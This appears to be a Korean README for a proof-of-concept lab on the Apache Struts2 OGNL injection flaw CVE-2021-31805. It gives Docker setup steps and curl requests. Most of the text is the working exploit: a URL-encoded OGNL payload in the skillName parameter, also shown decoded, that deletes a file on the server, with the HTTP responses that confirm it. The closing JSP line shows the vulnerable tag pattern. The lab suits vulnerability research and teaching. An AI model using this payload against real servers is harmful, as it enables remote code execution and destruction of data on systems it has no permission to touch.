aeyesec/cve-2021-31805# Apache Struts2 RCE(CVE-2021-31805) 개념 증명 익스플로잇 Docker 설정 및 curl 기반 익스플로잇 단계를 포함한 Apache Struts2 RCE(CVE-2021-31805) 개념 증명 익스플로잇입니다.
CVE-2021-31805(아파치 스트럿츠2)용 PoC CVE-2021-31805 해설 기사에서 사용한 애플리케이션입니다.
$ docker-compose build
$ docker-compose up -d
http://localhost:8080/struts2-showcase-2.5.29/index.html 에 접속하여 Welcome 페이지가 표시되는지 확인합니다.
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(생략)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(생략)
URL 디코딩된 값은
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
입니다.
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
index.html 파일이 삭제된 것을 확인할 수 있습니다.
<li><s:label id="test2" name="%{skillName}"/></li>